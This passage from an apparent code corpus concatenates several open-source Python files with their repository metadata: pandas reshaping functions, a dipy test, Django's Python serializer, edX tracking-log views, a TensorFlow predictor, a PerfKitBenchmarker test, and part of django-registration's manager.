# to account for that when level is a sequence of ints result = frame # _get_level_number() checks level numbers are in range and converts # negative numbers to positive level = [frame.columns._get_level_number(lev) for lev in level] # Can't iterate directly through level as we might need to change # values as we go for index in range(len(level)): lev = level[index] result = stack(result, lev, dropna=dropna) # Decrement all level numbers greater than current, as these # have now shifted down by one updated_level = [] for other in level: if other > lev: updated_level.append(other - 1) else: updated_level.append(other) level = updated_level else: raise ValueError("level should contain all level names or all level numbers, " "not a mixture of the two.") return result def _stack_multi_columns(frame, level_num=-1, dropna=True): def _convert_level_number(level_num, columns): """ Logic for converting the level number to something we can safely pass to swaplevel: We generally want to convert the level number into a level name, except when columns do not have names, in which case we must leave as a level number """ if level_num in columns.names: return columns.names[level_num] else: if columns.names[level_num] is None: return level_num else: return columns.names[level_num] this = frame.copy() # this makes life much simpler if level_num != frame.columns.nlevels - 1: # roll levels to put selected level at end roll_columns = this.columns for i in range(level_num, frame.columns.nlevels - 1): # Need to check if the ints conflict with level names lev1 = _convert_level_number(i, roll_columns) lev2 = _convert_level_number(i + 1, roll_columns) roll_columns = roll_columns.swaplevel(lev1, lev2) this.columns = roll_columns if not this.columns.is_lexsorted(): # Workaround the edge case where 0 is one of the column names, # which interferes with trying to sort based on the first # level level_to_sort = _convert_level_number(0, this.columns) this = this.sortlevel(level_to_sort, axis=1) # tuple list excluding level for grouping columns if len(frame.columns.levels) > 2: tuples = list(zip(*[ lev.take(lab) for lev, lab in zip(this.columns.levels[:-1], this.columns.labels[:-1]) ])) unique_groups = [key for key, _ in itertools.groupby(tuples)] new_names = this.columns.names[:-1] new_columns = MultiIndex.from_tuples(unique_groups, names=new_names) else: new_columns = unique_groups = this.columns.levels[0] # time to ravel the values new_data = {} level_vals = this.columns.levels[-1] level_labels = sorted(set(this.columns.labels[-1])) level_vals_used = level_vals[level_labels] levsize = len(level_labels) drop_cols = [] for key in unique_groups: loc = this.columns.get_loc(key) slice_len = loc.stop - loc.start # can make more efficient? if slice_len == 0: drop_cols.append(key) continue elif slice_len != levsize: chunk = this.ix[:, this.columns[loc]] chunk.columns = level_vals.take(chunk.columns.labels[-1]) value_slice = chunk.reindex(columns=level_vals_used).values else: if frame._is_mixed_type: value_slice = this.ix[:, this.columns[loc]].values else: value_slice = this.values[:, loc] new_data[key] = value_slice.ravel() if len(drop_cols) > 0: new_columns = new_columns.difference(drop_cols) N = len(this) if isinstance(this.index, MultiIndex): new_levels = list(this.index.levels) new_names = list(this.index.names) new_labels = [lab.repeat(levsize) for lab in this.index.labels] else: new_levels = [this.index] new_labels = [np.arange(N).repeat(levsize)] new_names = [this.index.name] # something better? new_levels.append(frame.columns.levels[level_num]) new_labels.append(np.tile(level_labels, N)) new_names.append(frame.columns.names[level_num]) new_index = MultiIndex(levels=new_levels, labels=new_labels, names=new_names, verify_integrity=False) result = DataFrame(new_data, index=new_index, columns=new_columns) # more efficient way to go about this? can do the whole masking biz but # will only save a small amount of time... if dropna: result = result.dropna(axis=0, how='all') return result def melt(frame, id_vars=None, value_vars=None, var_name=None, value_name='value', col_level=None): """ "Unpivots" a DataFrame from wide format to long format, optionally leaving identifier variables set. This function is useful to massage a DataFrame into a format where one or more columns are identifier variables (`id_vars`), while all other columns, considered measured variables (`value_vars`), are "unpivoted" to the row axis, leaving just two non-identifier columns, 'variable' and 'value'. Parameters ---------- frame : DataFrame id_vars : tuple, list, or ndarray, optional Column(s) to use as identifier variables. value_vars : tuple, list, or ndarray, optional Column(s) to unpivot. If not specified, uses all columns that are not set as `id_vars`. var_name : scalar Name to use for the 'variable' column. If None it uses ``frame.columns.name`` or 'variable'. value_name : scalar, default 'value' Name to use for the 'value' column. col_level : int or string, optional If columns are a MultiIndex then use this level to melt. See also -------- pivot_table DataFrame.pivot Examples -------- >>> import pandas as pd >>> df = pd.DataFrame({'A': {0: 'a', 1: 'b', 2: 'c'}, ... 'B': {0: 1, 1: 3, 2: 5}, ... 'C': {0: 2, 1: 4, 2: 6}}) >>> df A B C 0 a 1 2 1 b 3 4 2 c 5 6 >>> pd.melt(df, id_vars=['A'], value_vars=['B']) A variable value 0 a B 1 1 b B 3 2 c B 5 >>> pd.melt(df, id_vars=['A'], value_vars=['B', 'C']) A variable value 0 a B 1 1 b B 3 2 c B 5 3 a C 2 4 b C 4 5 c C 6 The names of 'variable' and 'value' columns can be customized: >>> pd.melt(df, id_vars=['A'], value_vars=['B'], ... var_name='myVarname', value_name='myValname') A myVarname myValname 0 a B 1 1 b B 3 2 c B 5 If you have multi-index columns: >>> df.columns = [list('ABC'), list('DEF')] >>> df A B C D E F 0 a 1 2 1 b 3 4 2 c 5 6 >>> pd.melt(df, col_level=0, id_vars=['A'], value_vars=['B']) A variable value 0 a B 1 1 b B 3 2 c B 5 >>> pd.melt(df, id_vars=[('A', 'D')], value_vars=[('B', 'E')]) (A, D) variable_0 variable_1 value 0 a B E 1 1 b B E 3 2 c B E 5 """ # TODO: what about the existing index? if id_vars is not None: if not isinstance(id_vars, (tuple, list, np.ndarray)): id_vars = [id_vars] else: id_vars = list(id_vars) else: id_vars = [] if value_vars is not None: if not isinstance(value_vars, (tuple, list, np.ndarray)): value_vars = [value_vars] frame = frame.ix[:, id_vars + value_vars] else: frame = frame.copy() if col_level is not None: # allow list or other? # frame is a copy frame.columns = frame.columns.get_level_values(col_level) if var_name is None: if isinstance(frame.columns, MultiIndex): if len(frame.columns.names) == len(set(frame.columns.names)): var_name = frame.columns.names else: var_name = ['variable_%s' % i for i in range(len(frame.columns.names))] else: var_name = [frame.columns.name if frame.columns.name is not None else 'variable'] if isinstance(var_name, compat.string_types): var_name = [var_name] N, K = frame.shape K -= len(id_vars) mdata = {} for col in id_vars: mdata[col] = np.tile(frame.pop(col).values, K) mcolumns = id_vars + var_name + [value_name] mdata[value_name] = frame.values.ravel('F') for i, col in enumerate(var_name): # asanyarray will keep the columns as an Index mdata[col] = np.asanyarray(frame.columns.get_level_values(i)).repeat(N) return DataFrame(mdata, columns=mcolumns) def lreshape(data, groups, dropna=True, label=None): """ Reshape long-format data to wide. Generalized inverse of DataFrame.pivot Parameters ---------- data : DataFrame groups : dict {new_name : list_of_columns} dropna : boolean, default True Examples -------- >>> import pandas as pd >>> data = pd.DataFrame({'hr1': [514, 573], 'hr2': [545, 526], ... 'team': ['Red Sox', 'Yankees'], ... 'year1': [2007, 2008], 'year2': [2008, 2008]}) >>> data hr1 hr2 team year1 year2 0 514 545 Red Sox 2007 2008 1 573 526 Yankees 2007 2008 >>> pd.lreshape(data, {'year': ['year1', 'year2'], 'hr': ['hr1', 'hr2']}) team hr year 0 Red Sox 514 2007 1 Yankees 573 2007 2 Red Sox 545 2008 3 Yankees 526 2008 Returns ------- reshaped : DataFrame """ if isinstance(groups, dict): keys = list(groups.keys()) values = list(groups.values()) else: keys, values = zip(*groups) all_cols = list(set.union(*[set(x) for x in values])) id_cols = list(data.columns.difference(all_cols)) K = len(values[0]) for seq in values: if len(seq) != K: raise ValueError('All column lists must be same length') mdata = {} pivot_cols = [] for target, names in zip(keys, values): mdata[target] = com._concat_compat([data[col].values for col in names]) pivot_cols.append(target) for col in id_cols: mdata[col] = np.tile(data[col].values, K) if dropna: mask = np.ones(len(mdata[pivot_cols[0]]), dtype=bool) for c in pivot_cols: mask &= notnull(mdata[c]) if not mask.all(): mdata = dict((k, v[mask]) for k, v in compat.iteritems(mdata)) return DataFrame(mdata, columns=id_cols + pivot_cols) def wide_to_long(df, stubnames, i, j): """ Wide panel to long format. Less flexible but more user-friendly than melt. Parameters ---------- df : DataFrame The wide-format DataFrame stubnames : list A list of stub names. The wide format variables are assumed to start with the stub names. i : str The name of the id variable. j : str The name of the subobservation variable. stubend : str Regex to match for the end of the stubs. Returns ------- DataFrame A DataFrame that contains each stub name as a variable as well as variables for i and j. Examples -------- >>> import pandas as pd >>> import numpy as np >>> np.random.seed(123) >>> df = pd.DataFrame({"A1970" : {0 : "a", 1 : "b", 2 : "c"}, ... "A1980" : {0 : "d", 1 : "e", 2 : "f"}, ... "B1970" : {0 : 2.5, 1 : 1.2, 2 : .7}, ... "B1980" : {0 : 3.2, 1 : 1.3, 2 : .1}, ... "X" : dict(zip(range(3), np.random.randn(3))) ... }) >>> df["id"] = df.index >>> df A1970 A1980 B1970 B1980 X id 0 a d 2.5 3.2 -1.085631 0 1 b e 1.2 1.3 0.997345 1 2 c f 0.7 0.1 0.282978 2 >>> wide_to_long(df, ["A", "B"], i="id", j="year") X A B id year 0 1970 -1.085631 a 2.5 1 1970 0.997345 b 1.2 2 1970 0.282978 c 0.7 0 1980 -1.085631 d 3.2 1 1980 0.997345 e 1.3 2 1980 0.282978 f 0.1 Notes ----- All extra variables are treated as extra id variables. This simply uses `pandas.melt` under the hood, but is hard-coded to "do the right thing" in a typicaly case. """ def get_var_names(df, regex): return df.filter(regex=regex).columns.tolist() def melt_stub(df, stub, i, j): varnames = get_var_names(df, "^" + stub) newdf = melt(df, id_vars=i, value_vars=varnames, value_name=stub, var_name=j) newdf_j = newdf[j].str.replace(stub, "") try: newdf_j = newdf_j.astype(int) except ValueError: pass newdf[j] = newdf_j return newdf id_vars = get_var_names(df, "^(?!%s)" % "|".join(stubnames)) if i not in id_vars: id_vars += [i] newdf = melt_stub(df, stubnames[0], id_vars, j) for stub in stubnames[1:]: new = melt_stub(df, stub, id_vars, j) newdf = newdf.merge(new, how="outer", on=id_vars + [j], copy=False) return newdf.set_index([i, j]) def get_dummies(data, prefix=None, prefix_sep='_', dummy_na=False, columns=None, sparse=False): """ Convert categorical variable into dummy/indicator variables Parameters ---------- data : array-like, Series, or DataFrame prefix : string, list of strings, or dict of strings, default None String to append DataFrame column names Pass a list with length equal to the number of columns when calling get_dummies on a DataFrame. Alternativly, `prefix` can be a dictionary mapping column names to prefixes. prefix_sep : string, default '_' If appending prefix, separator/delimiter to use. Or pass a list or dictionary as with `prefix.` dummy_na : bool, default False Add a column to indicate NaNs, if False NaNs are ignored. columns : list-like, default None Column names in the DataFrame to be encoded. If `columns` is None then all the columns with `object` or `category` dtype will be converted. sparse : bool, default False Whether the dummy columns should be sparse or not. Returns SparseDataFrame if `data` is a Series or if all columns are included. Otherwise returns a DataFrame with some SparseBlocks. .. versionadded:: 0.16.1 Returns ------- dummies : DataFrame or SparseDataFrame Examples -------- >>> import pandas as pd >>> s = pd.Series(list('abca')) >>> get_dummies(s) a b c 0 1 0 0 1 0 1 0 2 0 0 1 3 1 0 0 >>> s1 = ['a', 'b', np.nan] >>> get_dummies(s1) a b 0 1 0 1 0 1 2 0 0 >>> get_dummies(s1, dummy_na=True) a b NaN 0 1 0 0 1 0 1 0 2 0 0 1 >>> df = DataFrame({'A': ['a', 'b', 'a'], 'B': ['b', 'a', 'c'], 'C': [1, 2, 3]}) >>> get_dummies(df, prefix=['col1', 'col2']): C col1_a col1_b col2_a col2_b col2_c 0 1 1 0 0 1 0 1 2 0 1 1 0 0 2 3 1 0 0 0 1 See also ``Series.str.get_dummies``. """ from pandas.tools.merge import concat from itertools import cycle if isinstance(data, DataFrame): # determine columns being encoded if columns is None: columns_to_encode = data.select_dtypes(include=['object', 'category']).columns else: columns_to_encode = columns # validate prefixes and separator to avoid silently dropping cols def check_len(item, name): length_msg = ("Length of '{0}' ({1}) did " "not match the length of the columns " "being encoded ({2}).") if com.is_list_like(item): if not len(item) == len(columns_to_encode): raise ValueError(length_msg.format(name, len(item), len(columns_to_encode))) check_len(prefix, 'prefix') check_len(prefix_sep, 'prefix_sep') if isinstance(prefix, compat.string_types): prefix = cycle([prefix]) if isinstance(prefix, dict): prefix = [prefix[col] for col in columns_to_encode] if prefix is None: prefix = columns_to_encode # validate separators if isinstance(prefix_sep, compat.string_types): prefix_sep = cycle([prefix_sep]) elif isinstance(prefix_sep, dict): prefix_sep = [prefix_sep[col] for col in columns_to_encode] if set(columns_to_encode) == set(data.columns): with_dummies = [] else: with_dummies = [data.drop(columns_to_encode, axis=1)] for (col, pre, sep) in zip(columns_to_encode, prefix, prefix_sep): dummy = _get_dummies_1d(data[col], prefix=pre, prefix_sep=sep, dummy_na=dummy_na, sparse=sparse) with_dummies.append(dummy) result = concat(with_dummies, axis=1) else: result = _get_dummies_1d(data, prefix, prefix_sep, dummy_na, sparse=sparse) return result def _get_dummies_1d(data, prefix, prefix_sep='_', dummy_na=False, sparse=False): # Series avoids inconsistent NaN handling cat = Categorical.from_array(Series(data), ordered=True) levels = cat.categories # if all NaN if not dummy_na and len(levels) == 0: if isinstance(data, Series): index = data.index else: index = np.arange(len(data)) if not sparse: return DataFrame(index=index) else: return SparseDataFrame(index=index) codes = cat.codes.copy() if dummy_na: codes[codes == -1] = len(cat.categories) levels = np.append(cat.categories, np.nan) number_of_cols = len(levels) if prefix is not None: dummy_cols = ['%s%s%s' % (prefix, prefix_sep, v) for v in levels] else: dummy_cols = levels if isinstance(data, Series): index = data.index else: index = None if sparse: sparse_series = {} N = len(data) sp_indices = [ [] for _ in range(len(dummy_cols)) ] for ndx, code in enumerate(codes): if code == -1: # Blank entries if not dummy_na and code == -1, #GH4446 continue sp_indices[code].append(ndx) for col, ixs in zip(dummy_cols, sp_indices): sarr = SparseArray(np.ones(len(ixs)), sparse_index=IntIndex(N, ixs), fill_value=0) sparse_series[col] = SparseSeries(data=sarr, index=index) return SparseDataFrame(sparse_series, index=index, columns=dummy_cols) else: dummy_mat = np.eye(number_of_cols).take(codes, axis=0) if not dummy_na: # reset NaN GH4446 dummy_mat[codes == -1] = 0 return DataFrame(dummy_mat, index=index, columns=dummy_cols) def make_axis_dummies(frame, axis='minor', transform=None): """ Construct 1-0 dummy variables corresponding to designated axis labels Parameters ---------- frame : DataFrame axis : {'major', 'minor'}, default 'minor' transform : function, default None Function to apply to axis labels first. For example, to get "day of week" dummies in a time series regression you might call:: make_axis_dummies(panel, axis='major', transform=lambda d: d.weekday()) Returns ------- dummies : DataFrame Column names taken from chosen axis """ numbers = { 'major': 0, 'minor': 1 } num = numbers.get(axis, axis) items = frame.index.levels[num] labels = frame.index.labels[num] if transform is not None: mapped_items = items.map(transform) cat = Categorical.from_array(mapped_items.take(labels), ordered=True) labels = cat.codes items = cat.categories values = np.eye(len(items), dtype=float) values = values.take(labels, axis=0) return DataFrame(values, columns=items, index=frame.index)
Vvucinic/Wander
venv_2_7/lib/python2.7/site-packages/pandas/core/reshape.py
Python
artistic-2.0
39,134
import numpy as np import numpy.testing as npt from dipy.reconst.peaks import default_sphere, peaks_from_model def test_PeaksAndMetricsDirectionGetter(): class SillyModel(object): def fit(self, data, mask=None): return SillyFit(self) class SillyFit(object): def __init__(self, model): self.model = model def odf(self, sphere): odf = np.zeros(sphere.theta.shape) r = np.random.randint(0, len(odf)) odf[r] = 1 return odf def get_direction(dg, point, dir): newdir = dir.copy() state = dg.get_direction(point, newdir) return (state, np.array(newdir)) data = np.random.random((3, 4, 5, 2)) peaks = peaks_from_model(SillyModel(), data, default_sphere, relative_peak_threshold=.5, min_separation_angle=25) peaks._initialize() up = np.zeros(3) up[2] = 1. down = -up for i in range(3-1): for j in range(4-1): for k in range(5-1): point = np.array([i, j, k], dtype=float) # Test that the angle threshold rejects points peaks.ang_thr = 0. state, nd = get_direction(peaks, point, up) npt.assert_equal(state, 1) # Here we leverage the fact that we know Hemispheres project # all their vertices into the z >= 0 half of the sphere. peaks.ang_thr = 90. state, nd = get_direction(peaks, point, up) npt.assert_equal(state, 0) expected_dir = peaks.peak_dirs[i, j, k, 0] npt.assert_array_almost_equal(nd, expected_dir) state, nd = get_direction(peaks, point, down) npt.assert_array_almost_equal(nd, -expected_dir) # Check that we can get directions at non-integer points point += np.random.random(3) state, nd = get_direction(peaks, point, up) npt.assert_equal(state, 0) # Check that points are rounded to get initial direction point -= .5 id = peaks.initial_direction(point) # id should be a (1, 3) array npt.assert_array_almost_equal(id, [expected_dir]) if __name__ == "__main__": npt.run_module_suite()
mdesco/dipy
dipy/reconst/tests/test_peakdf.py
Python
bsd-3-clause
2,414
""" A Python "serializer". Doesn't do much serializing per se -- just converts to and from basic Python data types (lists, dicts, strings, etc.). Useful as a basis for other serializers. """ from __future__ import unicode_literals from collections import OrderedDict from django.apps import apps from django.conf import settings from django.core.serializers import base from django.db import DEFAULT_DB_ALIAS, models from django.utils import six from django.utils.encoding import force_text, is_protected_type class Serializer(base.Serializer): """ Serializes a QuerySet to basic Python objects. """ internal_use_only = True def start_serialization(self): self._current = None self.objects = [] def end_serialization(self): pass def start_object(self, obj): self._current = OrderedDict() def end_object(self, obj): self.objects.append(self.get_dump_object(obj)) self._current = None def get_dump_object(self, obj): model = obj._meta.proxy_for_model if obj._deferred else obj.__class__ data = OrderedDict([('model', force_text(model._meta))]) if not self.use_natural_primary_keys or not hasattr(obj, 'natural_key'): data["pk"] = force_text(obj._get_pk_val(), strings_only=True) data['fields'] = self._current return data def handle_field(self, obj, field): value = field._get_val_from_obj(obj) # Protected types (i.e., primitives like None, numbers, dates, # and Decimals) are passed through as is. All other values are # converted to string first. if is_protected_type(value): self._current[field.name] = value else: self._current[field.name] = field.value_to_string(obj) def handle_fk_field(self, obj, field): if self.use_natural_foreign_keys and hasattr(field.remote_field.model, 'natural_key'): related = getattr(obj, field.name) if related: value = related.natural_key() else: value = None else: value = getattr(obj, field.get_attname()) if not is_protected_type(value): value = field.value_to_string(obj) self._current[field.name] = value def handle_m2m_field(self, obj, field): if field.remote_field.through._meta.auto_created: if self.use_natural_foreign_keys and hasattr(field.remote_field.model, 'natural_key'): m2m_value = lambda value: value.natural_key() else: m2m_value = lambda value: force_text(value._get_pk_val(), strings_only=True) self._current[field.name] = [m2m_value(related) for related in getattr(obj, field.name).iterator()] def getvalue(self): return self.objects def Deserializer(object_list, **options): """ Deserialize simple Python objects back into Django ORM instances. It's expected that you pass the Python objects themselves (instead of a stream or a string) to the constructor """ db = options.pop('using', DEFAULT_DB_ALIAS) ignore = options.pop('ignorenonexistent', False) for d in object_list: # Look up the model and starting build a dict of data for it. try: Model = _get_model(d["model"]) except base.DeserializationError: if ignore: continue else: raise data = {} if 'pk' in d: try: data[Model._meta.pk.attname] = Model._meta.pk.to_python(d.get('pk')) except Exception as e: raise base.DeserializationError.WithData(e, d['model'], d.get('pk'), None) m2m_data = {} field_names = {f.name for f in Model._meta.get_fields()} # Handle each field for (field_name, field_value) in six.iteritems(d["fields"]): if ignore and field_name not in field_names: # skip fields no longer on model continue if isinstance(field_value, str): field_value = force_text( field_value, options.get("encoding", settings.DEFAULT_CHARSET), strings_only=True ) field = Model._meta.get_field(field_name) # Handle M2M relations if field.remote_field and isinstance(field.remote_field, models.ManyToManyRel): if hasattr(field.remote_field.model._default_manager, 'get_by_natural_key'): def m2m_convert(value): if hasattr(value, '__iter__') and not isinstance(value, six.text_type): return field.remote_field.model._default_manager.db_manager(db).get_by_natural_key(*value).pk else: return force_text(field.remote_field.model._meta.pk.to_python(value), strings_only=True) else: m2m_convert = lambda v: force_text(field.remote_field.model._meta.pk.to_python(v), strings_only=True) try: m2m_data[field.name] = [] for pk in field_value: m2m_data[field.name].append(m2m_convert(pk)) except Exception as e: raise base.DeserializationError.WithData(e, d['model'], d.get('pk'), pk) # Handle FK fields elif field.remote_field and isinstance(field.remote_field, models.ManyToOneRel): if field_value is not None: try: if hasattr(field.remote_field.model._default_manager, 'get_by_natural_key'): if hasattr(field_value, '__iter__') and not isinstance(field_value, six.text_type): obj = field.remote_field.model._default_manager.db_manager(db).get_by_natural_key(*field_value) value = getattr(obj, field.remote_field.field_name) # If this is a natural foreign key to an object that # has a FK/O2O as the foreign key, use the FK value if field.remote_field.model._meta.pk.remote_field: value = value.pk else: value = field.remote_field.model._meta.get_field(field.remote_field.field_name).to_python(field_value) data[field.attname] = value else: data[field.attname] = field.remote_field.model._meta.get_field(field.remote_field.field_name).to_python(field_value) except Exception as e: raise base.DeserializationError.WithData(e, d['model'], d.get('pk'), field_value) else: data[field.attname] = None # Handle all other fields else: try: data[field.name] = field.to_python(field_value) except Exception as e: raise base.DeserializationError.WithData(e, d['model'], d.get('pk'), field_value) obj = base.build_instance(Model, data, db) yield base.DeserializedObject(obj, m2m_data) def _get_model(model_identifier): """ Helper to look up a model from an "app_label.model_name" string. """ try: return apps.get_model(model_identifier) except (LookupError, TypeError): raise base.DeserializationError("Invalid model identifier: '%s'" % model_identifier)
djbaldey/django
django/core/serializers/python.py
Python
bsd-3-clause
7,685
import json import logging import pytz import datetime import dateutil.parser from django.contrib.auth.decorators import login_required from django.http import HttpResponse from django.shortcuts import redirect from django.conf import settings from mitxmako.shortcuts import render_to_response from django_future.csrf import ensure_csrf_cookie from track.models import TrackingLog from pytz import UTC log = logging.getLogger("tracking") LOGFIELDS = ['username', 'ip', 'event_source', 'event_type', 'event', 'agent', 'page', 'time', 'host'] def log_event(event): """Write tracking event to log file, and optionally to TrackingLog model.""" event_str = json.dumps(event) log.info(event_str[:settings.TRACK_MAX_EVENT]) if settings.MITX_FEATURES.get('ENABLE_SQL_TRACKING_LOGS'): event['time'] = dateutil.parser.parse(event['time']) tldat = TrackingLog(**dict((x, event[x]) for x in LOGFIELDS)) try: tldat.save() except Exception as err: log.exception(err) def user_track(request): """ Log when POST call to "event" URL is made by a user. Uses request.REQUEST to allow for GET calls. GET or POST call should provide "event_type", "event", and "page" arguments. """ try: # TODO: Do the same for many of the optional META parameters username = request.user.username except: username = "anonymous" try: scookie = request.META['HTTP_COOKIE'] # Get cookies scookie = ";".join([c.split('=')[1] for c in scookie.split(";") if "sessionid" in c]).strip() # Extract session ID except: scookie = "" try: agent = request.META['HTTP_USER_AGENT'] except: agent = '' event = { "username": username, "session": scookie, "ip": request.META['REMOTE_ADDR'], "event_source": "browser", "event_type": request.REQUEST['event_type'], "event": request.REQUEST['event'], "agent": agent, "page": request.REQUEST['page'], "time": datetime.datetime.now(UTC).isoformat(), "host": request.META['SERVER_NAME'], } log_event(event) return HttpResponse('success') def server_track(request, event_type, event, page=None): """Log events related to server requests.""" try: username = request.user.username except: username = "anonymous" try: agent = request.META['HTTP_USER_AGENT'] except: agent = '' event = { "username": username, "ip": request.META['REMOTE_ADDR'], "event_source": "server", "event_type": event_type, "event": event, "agent": agent, "page": page, "time": datetime.datetime.now(UTC).isoformat(), "host": request.META['SERVER_NAME'], } if event_type.startswith("/event_logs") and request.user.is_staff: # don't log return log_event(event) def task_track(request_info, task_info, event_type, event, page=None): """ Logs tracking information for events occuring within celery tasks. The `event_type` is a string naming the particular event being logged, while `event` is a dict containing whatever additional contextual information is desired. The `request_info` is a dict containing information about the original task request. Relevant keys are `username`, `ip`, `agent`, and `host`. While the dict is required, the values in it are not, so that {} can be passed in. In addition, a `task_info` dict provides more information about the current task, to be stored with the `event` dict. This may also be an empty dict. The `page` parameter is optional, and allows the name of the page to be provided. """ # supplement event information with additional information # about the task in which it is running. full_event = dict(event, **task_info) # All fields must be specified, in case the tracking information is # also saved to the TrackingLog model. Get values from the task-level # information, or just add placeholder values. event = { "username": request_info.get('username', 'unknown'), "ip": request_info.get('ip', 'unknown'), "event_source": "task", "event_type": event_type, "event": full_event, "agent": request_info.get('agent', 'unknown'), "page": page, "time": datetime.datetime.utcnow().isoformat(), "host": request_info.get('host', 'unknown') } log_event(event) @login_required @ensure_csrf_cookie def view_tracking_log(request, args=''): """View to output contents of TrackingLog model. For staff use only.""" if not request.user.is_staff: return redirect('/') nlen = 100 username = '' if args: for arg in args.split('/'): if arg.isdigit(): nlen = int(arg) if arg.startswith('username='): username = arg[9:] record_instances = TrackingLog.objects.all().order_by('-time') if username: record_instances = record_instances.filter(username=username) record_instances = record_instances[0:nlen] # fix dtstamp fmt = '%a %d-%b-%y %H:%M:%S' # "%Y-%m-%d %H:%M:%S %Z%z" for rinst in record_instances: rinst.dtstr = rinst.time.replace(tzinfo=pytz.utc).astimezone(pytz.timezone('US/Eastern')).strftime(fmt) return render_to_response('tracking_log.html', {'records': record_instances})
PepperPD/edx-pepper-platform
common/djangoapps/track/views.py
Python
agpl-3.0
5,519
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """A `Predictor constructed from a `tf.contrib.learn.Estimator`.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.contrib.learn.python.learn.utils import saved_model_export_utils from tensorflow.contrib.predictor import predictor from tensorflow.python.framework import ops from tensorflow.python.training import monitored_session from tensorflow.python.training import saver class ContribEstimatorPredictor(predictor.Predictor): """A `Predictor constructed from a `tf.contrib.learn.Estimator`.""" def __init__(self, estimator, prediction_input_fn, input_alternative_key=None, output_alternative_key=None, graph=None, config=None): """Initialize a `ContribEstimatorPredictor`. Args: estimator: an instance of `tf.contrib.learn.Estimator`. prediction_input_fn: a function that takes no arguments and returns an instance of `InputFnOps`. input_alternative_key: Optional. Specify the input alternative used for prediction. output_alternative_key: Specify the output alternative used for prediction. Not needed for single-headed models but required for multi-headed models. graph: Optional. The Tensorflow `graph` in which prediction should be done. config: `ConfigProto` proto used to configure the session. """ self._graph = graph or ops.Graph() with self._graph.as_default(): input_fn_ops = prediction_input_fn() # pylint: disable=protected-access model_fn_ops = estimator._get_predict_ops(input_fn_ops.features) # pylint: enable=protected-access checkpoint_path = saver.latest_checkpoint(estimator.model_dir) self._session = monitored_session.MonitoredSession( session_creator=monitored_session.ChiefSessionCreator( config=config, checkpoint_filename_with_path=checkpoint_path)) input_alternative_key = ( input_alternative_key or saved_model_export_utils.DEFAULT_INPUT_ALTERNATIVE_KEY) input_alternatives, _ = saved_model_export_utils.get_input_alternatives( input_fn_ops) self._feed_tensors = input_alternatives[input_alternative_key] (output_alternatives, output_alternative_key) = saved_model_export_utils.get_output_alternatives( model_fn_ops, output_alternative_key) _, fetch_tensors = output_alternatives[output_alternative_key] self._fetch_tensors = fetch_tensors
drpngx/tensorflow
tensorflow/contrib/predictor/contrib_estimator_predictor.py
Python
apache-2.0
3,274
# Copyright 2014 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import unittest from perfkitbenchmarker import sample class SampleTestCase(unittest.TestCase): def testMetadataOptional(self): instance = sample.Sample(metric='Test', value=1.0, unit='Mbps') self.assertDictEqual({}, instance.metadata) def testProvidedMetadataSet(self): metadata = {'origin': 'unit test'} instance = sample.Sample(metric='Test', value=1.0, unit='Mbps', metadata=metadata.copy()) self.assertDictEqual(metadata, instance.metadata)
tvansteenburgh/PerfKitBenchmarker
tests/sample_test.py
Python
apache-2.0
1,098
from __future__ import unicode_literals import datetime import hashlib import random import re from django.conf import settings from django.core.mail import EmailMultiAlternatives from django.db import models from django.template import RequestContext, TemplateDoesNotExist from django.template.loader import render_to_string from django.utils.translation import ugettext_lazy as _ from django.utils.encoding import python_2_unicode_compatible from django.utils import six from .users import UserModel, UserModelString try: from django.utils.timezone import now as datetime_now except ImportError: datetime_now = datetime.datetime.now SHA1_RE = re.compile('^[a-f0-9]{40}$') class RegistrationManager(models.Manager): """ Custom manager for the ``RegistrationProfile`` model. The methods defined here provide shortcuts for account creation and activation (including generation and emailing of activation keys), and for cleaning out expired inactive accounts. """ def activate_user(self, activation_key): """ Validate an activation key and activate the corresponding ``User`` if valid. If the key is valid and has not expired, return the ``User`` after activating. If the key is not valid or has expired, return ``False``. If the key is valid but the ``User`` is already active, return ``False``. To prevent reactivation of an account which has been deactivated by site administrators, the activation key is reset to the string constant ``RegistrationProfile.ACTIVATED`` after successful activation. """ # Make sure the key we're trying conforms to the pattern of a # SHA1 hash; if it doesn't, no point trying to look it up in # the database. if SHA1_RE.search(activation_key): try: profile = self.get(activation_key=activation_key) except self.model.DoesNotExist: return False if not profile.activation_key_expired(): user = profile.user user.is_active = True user.save() profile.activation_key = self.model.ACTIVATED profile.save() return user return False def create_inactive_user(self, site, new_user=None, send_email=True, request=None, **user_info): """ Create a new, inactive ``User``, generate a ``RegistrationProfile`` and email its activation key to the ``User``, returning the new ``User``. By default, an activation email will be sent to the new user. To disable this, pass ``send_email=False``. Additionally, if email is sent and ``request`` is supplied, it will be passed to the email template. """ if new_user is None: password = user_info.pop('password') new_user = UserModel()(**user_info) new_user.set_password(password) new_user.is_active = False new_user.save() registration_profile = self.create_profile(new_user) if send_email: registration_profile.send_activation_email(site, request) return new_user def create_profile(self, user): """ Create a ``RegistrationProfile`` for a given ``User``, and return the ``RegistrationProfile``. The activation key for the ``RegistrationProfile`` will be a SHA1 hash, generated from a combination of the ``User``'s pk and a random salt. """ salt = hashlib.sha1(six.text_type(random.random()) .encode('ascii')).hexdigest()[:5] salt = salt.encode('ascii') user_pk = str(user.pk) if isinstance(user_pk, six.text_type): user_pk = user_pk.encode('utf-8') activation_key = hashlib.sha1(salt+user_pk).hexdigest() return self.create(user=user, activation_key=activation_key) def delete_expired_users(self): """ Remove expired instances of ``RegistrationProfile`` and their associated ``User``s. Accounts to be deleted are identified by searching for instances of ``RegistrationProfile`` with expired activation keys, and then checking to see if their associated ``User`` instances have the field ``is_active`` set to ``False``; any ``User`` who is both inactive and has an expired activation key will be deleted. It is recommended that this method be executed regularly as part of your routine site maintenance; this application provides a custom management command which will call this method, accessible as 